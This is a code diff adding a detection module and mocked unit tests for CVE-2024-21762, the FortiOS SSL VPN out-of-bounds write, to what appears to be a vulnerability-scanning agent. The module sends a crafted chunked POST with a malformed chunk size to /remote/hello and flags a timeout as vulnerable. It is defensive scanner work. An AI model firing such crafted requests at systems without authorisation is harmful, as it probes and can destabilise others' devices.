Add detection for CVE-2024-21762

agent/exploits/cve_2024_21762.py

@@ -0,0 +1,130 @@
+"""Agent Asteroid implementation for CVE-2024-21762"""
+
+import socket
+import ssl
+
+from ostorlab.agent.kb import kb
+from ostorlab.agent.mixins import agent_report_vulnerability_mixin
+
+from agent import definitions
+from agent import exploits_registry
+
+context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
+context.check_hostname = False
+context.verify_mode = ssl.CERT_NONE
+
+VULNERABILITY_TITLE = "Fortinet FortiOS Out-of-Bound Write SSL VPN Vulnerability"
+VULNERABILITY_REFERENCE = "CVE-2024-21762"
+VULNERABILITY_DESCRIPTION = (
+    "A out-of-bounds write in Fortinet FortiOS versions 7.4.0 through 7.4.2, "
+    "7.2.0 through 7.2.6, 7.0.0 through 7.0.13, 6.4.0 through 6.4.14, 6.2.0 "
+    "through 6.2.15, 6.0.0 through 6.0.17, FortiProxy versions 7.4.0 through "
+    "7.4.2, 7.2.0 through 7.2.8, 7.0.0 through 7.0.14, 2.0.0 through 2.0.13, "
+    "1.2.0 through 1.2.13, 1.1.0 through 1.1.6, 1.0.0 through 1.0.7 allows "
+    "attacker to execute unauthorized code or commands via specifically crafted requests"
+)
+
+DEFAULT_TIMEOUT = 30
+MAX_REDIRECTS = 2
+FORTIGATE_SIGNATURE = b"/remote/login"
+
+
+@exploits_registry.register
+class CVE202421762Exploit(definitions.Exploit):
+    """
+    CVE-2024-21762: Fortinet FortiOS Out-of-Bound Write SSL VPN Vulnerability
+    """
+
+    def accept(self, target: definitions.Target) -> bool:
+        socket_wrapper = self._get_socket_wrapper((target.host, target.port))
+        if socket_wrapper is None:
+            return False
+
+        host = target.host
+        if target.port != 80 and target.port != 443:
+            host = f"{host}:{target.port}"
+
+        raw_request = f"""POST /remote/hello HTTP/1.1\r
+Host: {host}\r
+Transfer-Encoding: chunked\r
+\r
+0\r
+\r
+\r
+"""
+        socket_wrapper.send(bytes(raw_request, "utf-8"))
+        try:
+            response = socket_wrapper.read(2047)
+        except socket.error:
+            return False
+        return FORTIGATE_SIGNATURE in response
+
+    def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+        vulnerabilities: list[definitions.Vulnerability] = []
+
+        socket_wrapper = self._get_socket_wrapper((target.host, target.port))
+        if socket_wrapper is None:
+            return vulnerabilities
+
+        host = target.host
+        if target.port != 80 and target.port != 443:
+            host = f"{host}:{target.port}"
+
+        raw_request = f"""POST /remote/hello HTTP/1.1\r
+Host: {host}\r
+Transfer-Encoding: chunked\r
+\r
+0000000000000000FF\r
+\r
+"""
+
+        socket_wrapper.send(bytes(raw_request, "utf-8"))
+        try:
+            socket_wrapper.read(2048)
+        except socket.error as exc:
+            if type(exc) == TimeoutError:
+                vulnerability = self._create_vulnerability(target)
+                vulnerabilities.append(vulnerability)
+
+        return vulnerabilities
+
+    def _create_vulnerability(
+        self, target: definitions.Target
+    ) -> definitions.Vulnerability:
+        entry = kb.Entry(
+            title=VULNERABILITY_TITLE,
+            risk_rating="CRITICAL",
+            short_description=VULNERABILITY_DESCRIPTION,
+            description=VULNERABILITY_DESCRIPTION,
+            references={
+                "nvd.nist.gov": f"https://nvd.nist.gov/vuln/detail/{VULNERABILITY_REFERENCE}",
+            },
+            recommendation=(
+                "- Make sure to install the latest security patches from software vendor \n"
+                "- Update to the latest software version"
+            ),
+            security_issue=True,
+            privacy_issue=False,
+            has_public_exploit=True,
+            targeted_by_malware=False,
+            targeted_by_ransomware=False,
+            targeted_by_nation_state=True,
+        )
+        technical_detail = (
+            f"{target.origin} is vulnerable to {VULNERABILITY_REFERENCE}, "
+            f"{VULNERABILITY_TITLE}"
+        )
+        vulnerability = definitions.Vulnerability(
+            entry=entry,
+            technical_detail=technical_detail,
+            risk_rating=agent_report_vulnerability_mixin.RiskRating.CRITICAL,
+        )
+        return vulnerability
+
+    def _get_socket_wrapper(self, host: tuple[str, int]) -> ssl.SSLSocket | None:
+        try:
+            socket_instance = socket.create_connection(host, timeout=DEFAULT_TIMEOUT)
+        except socket.error:
+            return None
+        socket_wrapper = context.wrap_socket(socket_instance)
+        return socket_wrapper

tests/exploits/cve_2024_21762_test.py

@@ -0,0 +1,72 @@
+"""Unit tests for Agent Asteroid: CVE-2024-21762"""
+
+from unittest import mock
+
+from pytest_mock import plugin
+
+from agent import definitions
+from agent.exploits import cve_2024_21762
+
+
+def testCVE202421762_whenVulnerable_reportFinding(
+    mocker: plugin.MockerFixture,
+) -> None:
+    """CVE-2024-21762 unit test: case when target is vulnerable."""
+
+    def side_effect(*args):  # type: ignore[no-untyped-def]
+        if args[0] == 2047:
+            return b"/remote/login"
+        elif args[0] == 2048:
+            raise TimeoutError
+
+    mock_socket = mock.MagicMock()
+    mock_socket.read.side_effect = side_effect
+    mocker.patch("socket.socket", mock_socket)
+    mocker.patch("ssl.SSLContext.wrap_socket", return_value=mock_socket)
+
+    exploit_instance = cve_2024_21762.CVE202421762Exploit()
+
+    target = definitions.Target("http", "localhost", 10443)
+
+    accept = exploit_instance.accept(target)
+    mocker.patch("ssl.SSLSocket.read", side_effect=TimeoutError)
+    vulnerabilities = exploit_instance.check(target)
+
+    assert accept is True
+    vulnerability = vulnerabilities[0]
+    assert (
+        vulnerability.entry.title
+        == "Fortinet FortiOS Out-of-Bound Write SSL VPN Vulnerability"
+    )
+    assert vulnerability.technical_detail == (
+        "http://localhost:10443 is vulnerable to CVE-2024-21762, Fortinet "
+        "FortiOS Out-of-Bound Write SSL VPN Vulnerability"
+    )
+
+
+def testCVE202421762_whenSafe_reportNothing(
+    mocker: plugin.MockerFixture,
+) -> None:
+    """CVE-2024-21762 unit test: case when target is vulnerable."""
+
+    def side_effect(*args):  # type: ignore[no-untyped-def]
+        if args[0] == 2047:
+            return b"/remote/login"
+        elif args[0] == 2048:
+            return b""
+
+    mock_socket = mock.MagicMock()
+    mock_socket.read.side_effect = side_effect
+    mocker.patch("socket.socket", mock_socket)
+    mocker.patch("ssl.SSLContext.wrap_socket", return_value=mock_socket)
+
+    exploit_instance = cve_2024_21762.CVE202421762Exploit()
+
+    target = definitions.Target("http", "localhost", 10443)
+
+    accept = exploit_instance.accept(target)
+    mocker.patch("ssl.SSLSocket.read", side_effect=TimeoutError)
+    vulnerabilities = exploit_instance.check(target)
+
+    assert accept is True
+    assert len(vulnerabilities) == 0